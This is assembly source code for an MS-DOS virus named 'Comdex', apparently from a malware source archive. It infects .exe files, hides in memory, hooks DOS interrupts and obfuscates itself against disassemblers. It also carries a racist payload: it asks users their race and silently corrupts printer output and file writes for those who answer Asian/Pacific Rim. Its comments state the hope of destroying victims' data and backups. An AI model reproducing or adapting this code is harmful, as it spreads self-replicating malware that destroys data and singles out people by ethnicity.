MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.comdex7.asm
2021-01-12 17:34:47 -06:00

805 lines
23 KiB
NASM
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

; The Comdex exibit guide program
; For the Fall 1991 Comdex Las Vegas Convention
;
;
; A short description of the program:
;
; It only affects .exe files.
; Comdex attaches itself to the end of the programs it affects.
;
; When an affected file is run, Comdex copies itself to top of
; free memory, and modifies the memory blocks, in order to hide from
; memory mapping programs. Some programs may overwrite this area,
; causing the computer to crash. If this happens, the user obviously
; deserved it.
;
; Comdex will hook int 21h and when function 4b (exec) is called
; it sometimes will affect the program being run. It will check every
; program that is run for affection, and if it is not already
; affected, it will be.
;
; Comdex will, after 1 hr, one of 16 chance, ask your race or
; nationality prior to executing a file. Af you answer that you
; are asian/pacific rim, one of 256 file writes will have the
; length adjusted downward or the record size reduced, depending
; upon the specific dos call made.
;
;
; Comdex will remove the read-only attribute before trying to
; affect programs.
;
; Affected files can be easily recognized, since they always end in
; "COMD"
;
; To check for system affection, a byte at 0:33c is used - if it
; contains a 069h, Comdex is installed in memory.
;
;
comsiz equ 128 ;in paragraphs
code segment para public 'code'
assume cs:code,ds:nothing,ss:nothing,es:nothing
;
; Comdex is basically divided in the following parts.
;
; 1. the main program - run when an affected program is run.
; it will check if the system is already affected, and if not
; it will install Comdex.
;
; 2. the new int 17 handler. adjusts two ascii output chars.
;
; 3. the new int 14 handler.
;
; 4. the new int 8 handler.
;
; 5. the new int 9 handler.
;
; 6. the new int 21 handler. it will look for exec calls, and
; affect the program being run.
;
;
; this is a fake mcb (memory control block)
; ms-dos inspects the chain of mcbs whenever a memory block allocation,
; modification, or release function is requested, or when a program
; is execed or terminated...
;
db 'Z',00,00,comsiz,0,0,0,0,0,0,0,0,0,0,0,0
; ^___ # of paragraphs of the controlled mem blk
Comdex proc far
;
; Comdex starts by pushing the original start address on the stack,
; so it can transfer control there when finished.
;
labl: sub sp,4
push bp
mov bp,sp
push ax
;following line nuked for ease of test
; nop ;added so that scan84 doesn't id as [ice-3]
mov ax,es
;
; put the the original cs on the stack. the add ax,data instruction
; is modified by Comdex when it affects other programs.
;
db 05h ;this is an add ax,10h
org_cs dw 0010h
mov [bp+4],ax
;
; put the the original ip on the stack. this mov [bp+2],data instruction
; is modified by Comdex when it affects other programs.
;
db 0c7h,46h,02h
org_ip dw 0000h
;
; save all registers that are modified.
;
push es
push ds
push bx
push cx
push si
push di
;
; check if already installed. quit if so.
;
mov ax,0
mov es,ax ;zero es
cmp es:[33ch],byte ptr 069h
;&&
; jne l1
;
; restore all registers and return to the original program.
;
exit: pop di
pop si
pop cx
pop bx
pop ds
pop es
pop ax
pop bp
retf
;
; Comdex tries to hide from detection by modifying the memory block it
; uses, so it seems to be a block that belongs to the operating system.
;
; it looks rather weird, but it seems to work.
;
l1: mov ah,52h
call int21 ;undefined dos call!!?
mov ax,es:[bx-2]
nop
mov es,ax
add ax,es:[0003]
inc ax
inc ax
mov cs:[0001],ax
;
; next, Comdex modifies the memory block of the affected program.
; it is made smaller, and no longer the last block.
;
mov bx,ds
dec bx
nop
mov ds,bx
mov al,'M'
mov ds:[0000],al
mov ax,ds:[0003]
sub ax,comsiz
mov ds:[0003],ax
add bx,ax
inc bx
;
; then Comdex moves itself to the new block.
;
mov es,bx
xor si,si
xor di,di
push cs
pop ds
mov cx,652h ;the length of this program -
;be *sure* to update this!!
;in fact, make it symbolic!!
cld
rep movsb
;
; Comdex then transfers control to the new copy of itself.
;
push es
nop
mov ax,offset l3
push ax
retf
db 3dh ;confuse disassemblers
;
; zero some variables
;
l3: mov byte ptr cs:[min60],0
mov byte ptr cs:[min50],0
mov word ptr cs:[timer],0
mov byte ptr cs:[input_char],0
;
; set flag to confirm installation
;
xor ax,ax
mov es,ax
inc ax ;dummy operation to confuse function
mov byte ptr es:[33ch],069h
;
; hook interrupt 21:
; (the primary dos function interrupt)
;
mov ax,es:[0084h]
mov cs:[old21],ax
mov ax,es:[0086h]
nop
mov cs:[old21+2],ax
mov ax,cs
mov es:[0086h],ax
mov ax,offset new21
mov es:[0084h],ax
;
; hook interrupt 17:
; (bios lpt services)
;
mov ax,es:[005ch]
mov cs:[old17],ax
nop
mov ax,es:[005eh]
mov cs:[old17+2],ax
inc ax ;dummy op
mov ax,cs
mov es:[005eh],ax
mov ax,offset new17
mov es:[005ch],ax
;
; hook interrupt 14:
; (bios serial port services)
;
; mov ax,es:[0050h]
; mov cs:[old17],ax
; mov ax,es:[0052h]
; mov cs:[old14+2],ax
; mov ax,cs
; mov es:[0052h],ax
; mov ax,offset new14
; mov es:[0050h],ax
;
;
;
cmp word ptr cs:[noinf],5
jg hook8
jmp exit
;
; hook interrupt 9
; (bios keyboard interrupt)
;
;hook9: mov ax,es:[0024h]
; mov cs:[old9],ax
; mov ax,es:[0026h]
; mov cs:[old9+2],ax
; mov ax,cs
; mov es:[0026h],ax
; mov ax,offset new9
; mov es:[0024h],ax
;
; hook interrupt 8
; (timer ticks)
;
db 3dh,0cch,03h,3dh,3dh ;confuse dissassemblers
hook8: mov ax,es:[0020h]
mov cs:[old8],ax
mov ax,es:[0022h]
mov cs:[old8+2],ax
mov ax,cs
nop
mov es:[0022h],ax
mov ax,offset new8
mov es:[0020h],ax
jmp exit
;the int 21 calls go through this routine to confuse the issue:
int21: push ax
mov ax,0ffh
mov word ptr cs:[internal],ax ;set internal int 21 flag
mov al,20h
inc al ;put 21 in al
mov byte ptr cs:[int21b],al ;self modifying code!
pop ax
db 0cdh ;int opcode
int21b: db 0cch ;overwritten to int 21h
push ax
mov ax,00
mov word ptr cs:[internal],ax ;clear internal int 21 flag
mov ax,0cch
mov byte ptr cs:[int21b],al ;nuke it back to int 0cch
pop ax
retn
db "Welcome to Comdex "
db "From the Interface Group, Inc. "
db "300 First Avenue "
db "Needham, MA 02194 "
db "(617)449-6600 "
db "For data recovery ask for "
db "Peter J. Bowes, unless you are "
db "Oriental, in which case, we will "
db "not help you. "
quest db 0dh,0ah,"Software Piracy Prevention Center",0dh,0ah
db "requests your cooperation:",0dh,0ah,0dh,0ah
db "Please enter your race or nationality:",0dh,0ah
db "a. White e. Eastern European",0dh,0ah
db "b. Black f. Soviet",0dh,0ah
db "c. Hispanic g. Western European",0dh,0ah
db "d. Asian/Pacific Rim h. Other",0dh,0ah,0dh,0ah
db " Please enter your response: ","$"
input_char: db 0
db 3dh ;confuse disassemblers
askit: push ax
push bx
push cx
push dx
push si
push di
push ds
push es
cmp byte ptr cs:[min60],1 ;resident 1 hr yet?
jnz noask
cmp byte ptr cs:[input_char],0
jnz noask ;don't ask twice
mov ax,word ptr cs:[timer]
and ax,000fh ;look at ls free running clock
cmp ax,000ch ;does it happen to be 00ch? (1 of 16)
jnz noask ;if not, don't ask the guy!
mov dx,offset quest ;ask the guy about race
mov ah,09h ;dos string print
push cs
pop ds
call int21 ;print question on crt
mov ax,0c01h ;dos flush input and get char
call int21 ;get char
and al,0dfh ;force upper case
mov byte ptr cs:[input_char],al ;save away response
noask: pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
retn
;********************************************************************
;
; int 9 (keyboard) replacement:
; this routine does not become active until 50 minutes after
; the execution of an affected program.
;
;new9: push ax
; push es
; cmp byte ptr cs:[min50],1
; jnz retx1
;insert any code here that activates 50 min after launch for int 9...
;retx1: pop es ;prepare to go to old int 9 code:
; pop ax
; db 0eah ;jmp 0000:0000 nmemonic
;old9 dw 0,0 ;storage for old addr
;********************************************************************
;
; new int 14 (serial port) routine -
;
;new14: cmp ah,1 ;is it an output request?
; jz s1 ;yup. don't return just yet.
;do14: db 0eah ;jmp 0000:0000 nmemonic
;old14 dw 0,0
;s1:
;insert any code here for output to serial port...
; jmp do14
;********************************************************************
;
; new int 8 routine (bios timer ticks)
;
db 3dh ;piss off disassemblers
new8: push dx
push cx
push bx
push ax
jmp txex ;&&
inc word ptr cs:[timer] ; increment timer
cmp byte ptr cs:[min60],01 ; if counter >= 60 min.
jz tt0 ; no need to check any more
cmp word ptr cs:[timer],-11 ; 60 minutes ?
jz tt1
cmp word ptr cs:[timer],54601 ; 50 minutes ?
jz tt2
jmp txex
;
; 50 minutes after an affected program is run the flag is set.
;
tt2: mov byte ptr cs:[min50],1
jmp txex
;
; 60 minutes after an affected program is run this flag is set.
;
tt1: mov byte ptr cs:[min60],1
; exit interrupt routine:
jmp txex
;
; every time an int 8 occurs, after the 60 min. have passed, we
; end up here:
;
tt0:
;insert any fun timer oriented code here
;
; restore registers and quit
;
txex: pop ax
pop bx
pop cx
pop dx
db 0eah
old8 dw 0,0
;********************************************************************
;
; new int 17 routine. lpt out stuff.
;
new17: jmp do17 ;&&
cmp ah,0
jz p0
do17: db 0eah
old17 dw 0,0
db 2eh ;confuse disassemblers
p0: cmp byte ptr cs:[input_char],44h ;d. asian/pacific rim?
jne not_asian
push ax
mov ax,word ptr cs:[timer]
and ax,00ffh
cmp ax,0032h ; one of 256 odds
pop ax ; restore ax, doesn't change flags
jne do17 ; don't twiddle lpt 255/256 odds
cmp al,55h ; printing a "U"?
jne notu
mov al,0efh ; make it upside-down!
jmp do17 ; and continue.
notu: cmp al,06fh ; lower case "o"?
jne do17 ; no? then exit.
mov al,093h ; make it an "o" with a ^ over it!
jmp do17 ; and exit.
not_asian:
jmp do17
;Int 21 file adjustment routines - the following routines corrupt a small
;percentage of the file writes that Asians do in their use of the pc. For
;example, when one updates a spreadsheet or exits a word processor, the
;application software will re-write the file out to disk. What we do here
;is reduce the amount of the data that is written to the file. The hope
;is that the problem will be hidden for a significant period of time, since
;it happens only infrequently, and since it typically will happen upon exit
;of the application package. If the reduction of the write causes a serious
;problem (we hope it will) it won't usually be noticed until that file is
;loaded again. The other hope is that if the user does backup his data from
;time to time, this corrupted data will end up on the backup as well before
;the problem is noticed. With luck, maybe the user will assume that the
;hardware is intermittent, and backup the system over the top of his only
;existing backup set, then purchase replacement hardware.
fuck_size_f: ;if asian, reduce file rec size by 1 on fcb ops
push ax
push di
push dx ;setup di for indexed operations
pop di
cmp byte ptr cs:[input_char],044h ;asian?
jne exit_fuck_f ;no, then do nothing
mov ax,word ptr cs:[timer]
and ax,00ffh ;mask off ls 8 bits of free run timer
cmp ax,0069h ;does it happen to be 69h? (1 of 256)
jne exit_fuck_f ;nope, so do nothing
mov al,[ds:di+0] ;get first byte of user's fcb
cmp al,0ffh ;extended fcb?
jne norm_fcb ;nope, so handle as normal fcb
mov ax,[ds:di+15h] ;get record size, 16 bits on extd fcb.
dec ax ;adjust it a bit, since the user really doesn't
;need to write so much data.
mov [ds:di+15h],ax
jmp exit_fuck_f ;subsequent r/w ops should fail to get the
;right data until this file is closed or
;until system crashes.
norm_fcb:
mov al,[ds:di+0eh] ;get record size, only 8 bits on norm fcb.
dec al ;reduce by 1
mov [ds:di+0eh],al ;store it back
exit_fuck_f:
pop di
pop ax
jmp do21
fuck_size_h: ;reduce length of handle file writes
push ax
push di
push dx
pop di
cmp byte ptr cs:[input_char],044h ;asian?
jne exit_fuck_h ;no, so don't damage anything.
mov ax,word ptr cs:[timer]
and ax,00ffh
cmp ax,0066h ;one out of 256 odds
jne try_again ;no? well give it another chance.
and cx,0fff5h ;reduce write length in bytes by a flakey amt
dec cx ;ranging from 1 to 11 bytes.
exit_fuck_h:
pop ax
jmp do21
try_again:
cmp ax,0077h ;one of 256 odds?
jne exit_fuck_h ;exit if not lucky.
mov ax,[ds:di+30h] ;get a user data byte from his buffer
xor ax,0004h ;toggle bit 2 of byte 30h
mov [ds:di+30h],ax ;and put it back
jmp exit_fuck_h
;********************************************************************
;
; this is the int 21 replacement. it only does something in
; the case of an execute program dos call.
;
;be careful here not to trap int codes that we use internally!
new21: jmp do21 ;&&
push ax
cmp word ptr cs:[internal],0ffh ;is it an internal int 21?
je do21 ;yup, so no tweaking allowed
pop ax
cmp ah,015h ;is it a fcb file write?
je fuck_size_f ;if asian, reduce record size by 1
cmp ah,040h ;is it a handle file write?
je fuck_size_h ;if asian, adjust write length down.
cmp ah,4bh ;is it an int 21 code 4b?
je l5 ;yup. go affect stuff
do21: db 0eah ;nope. let dos handle it
old21 dw 0,0
;
; the code to only affect every tenth program has been removed
; for now. restore this code later.
;
db 3dh ;confuse disassemblers
l5: call askit ;ask race if appropriate
push ax
push bx
push cx
push dx
push si
push ds
;
; search for the file name extension ...
;
mov bx,dx
l6: inc bx
cmp byte ptr [bx],'.'
je l8
cmp byte ptr [bx],0
jne l6
;
; ... and quit unless it starts with "ex".
;
l7: pop ds
pop si
pop dx
pop cx
pop bx
pop ax
jmp do21
l8: inc bx
cmp word ptr [bx],5845h ;"EX"
jne l7
;
; when an .exe file is found, Comdex starts by turning off
; the read-only attribute. the read-only attribute is not restored
; when the file has been affected.
;
mov ax,4300h ; get attribute
call int21
jc l7
mov ax,4301h ; set attribute
and cx,0feh
call int21
jc l7
;
; next, the file is examined to see if it is already affected.
; the signature (4418 5f19) is stored in the last two words.
;
mov ax,3d02h ; open / write access
call int21
jc l7
mov bx,ax ; file handle in bx
;
; this part of the code is new: get date of file.
;
mov ax,5700h
call int21
jc l9
mov cs:[date1],dx
mov cs:[date2],cx
;
push cs ; now ds is no longer needed
pop ds
;
; the header of the file is read in at [id+8]. Comdex then
; modifies itself, according to the information stored in the
; header. (the original cs and ip addressed are stored).
;
mov dx,offset id+8
mov cx,1ch
mov ah,3fh
call int21
jc l9
mov ax,ds:id[1ch]
mov ds:[org_ip],ax
inc ax ;confuse reader a little
mov ax,ds:id[1eh]
add ax,10h
mov ds:[org_cs],ax
;
; next the read/write pointer is moved to the end of the file-4,
; and the last 4 bytes read. they are compared to the signature,
; and if equal nothing happens.
;
mov ax,4202h
mov cx,-1
mov dx,-4
call int21
jc l9
add ax,4
mov ds:[len_lo],ax
jnc l8a
inc dx
l8a: mov ds:[len_hi],dx
;
; this part of Comdex is new - check if it is below minimum length
;
cmp dx,0
jne l8b
mov cl,13
shr ax,cl
cmp ax,0
jg l8b
nop
jmp short l9
l8b: mov ah,3fh
mov cx,4
mov dx,offset id+4
call int21
jnc l11
l9: mov ah,3eh
call int21
l10: jmp l7
db 3eh ;confuse disassemblers
;
; compare to 4f43,444d which is first 4 letters of Comdex
;
l11: mov si,offset id+4
mov ax,[si]
cmp ax,4f43h ;ascii "OC"
jne l12
mov ax,[si+2]
cmp ax,444dh ;ascii "DM"
je l9
;
; the file is not affected, so the next thing Comdex does is
; affect it. first it is padded so the length becomes a multiple
; of 16 bytes. this is done so Comdex code can start at a
; paragraph boundary.
;
l12: mov ax,ds:[len_lo]
and ax,0fh
jz l13
mov cx,16
sub cx,ax
nop
add ds:[len_lo],cx
jnc l12a
inc ds:[len_hi]
l12a: mov ah,40h
call int21 ;dos write to file
jc l9
;
; next the main body of Comdex is written to the end.
;
l13: xor dx,dx
mov cx,offset id + 4
mov ah,40h ;dos write to file
call int21
jc l9
;
; next the .exe file header is modified:
;
; first modify initial ip
;
f0: mov ax,offset labl
mov ds:id[1ch],ax
;
; modify starting cs = Comdex cs. it is computed as:
;
; (original length of file+padding)/16 - start of load module
;
mov dx,ds:[len_hi]
mov ax,ds:[len_lo]
mov cl,cs:[const1] ; modified a bit
shr dx,cl
rcr ax,cl
nop
shr dx,cl
rcr ax,cl
shr dx,cl
rcr ax,cl
nop
shr dx,cl
rcr ax,cl
sub ax,ds:id[10h]
mov ds:id[1eh],ax
;
; modify length mod 512
;
add ds:[len_lo],offset id+4
jnc l14
inc ds:[len_hi]
l14: mov ax,ds:[len_lo]
and ax,511
nop
mov ds:id[0ah],ax
;
; modify number of blocks used
;
mov dx,ds:[len_hi]
mov ax,ds:[len_lo]
add ax,511
jnc l14a
inc dx
l14a: mov al,ah
mov ah,dl
shr ax,1
mov ds:id[0ch],ax
;
; finally the modified header is written back to the start of the
; file.
;
wrtback:mov ax,4200h
xor cx,cx
xor dx,dx
call int21 ;dos move file pointer
jc endit
mov ah,40h
mov dx,offset id+8
mov cx,1ch
call int21 ;dos write to file
;
; this part is new: restore old date.
;
mov dx,cs:[date1]
mov cx,cs:[date2]
mov ax,5701h
call int21 ;dos set file date and time
jc endit
inc word ptr cs:[noinf]
;
; affection is finished - close the file and execute it
;
endit: jmp l9
;
;
timer dw 0 ; number of timer (int 8) ticks
const1 db 1 ; the constant 1
const0 dw 0 ; the constant 0
internal dw 0 ; internal int 21 in effect.
min50 db 0 ; flag, set to 1 50 minutes after execution
min60 db 0 ; flag, set to 1 60 minutes after execution
vmode db 0 ; video mode
date1 dw ? ; date of file
date2 dw ? ; ditto.
len_lo dw ?
len_hi dw ?
noinf dw 0 ; number of affections
id label word
db "COMD" ; the signature of Comdex.
;
; a buffer, used for data from the file.
;
Comdex endp
code ends
end labl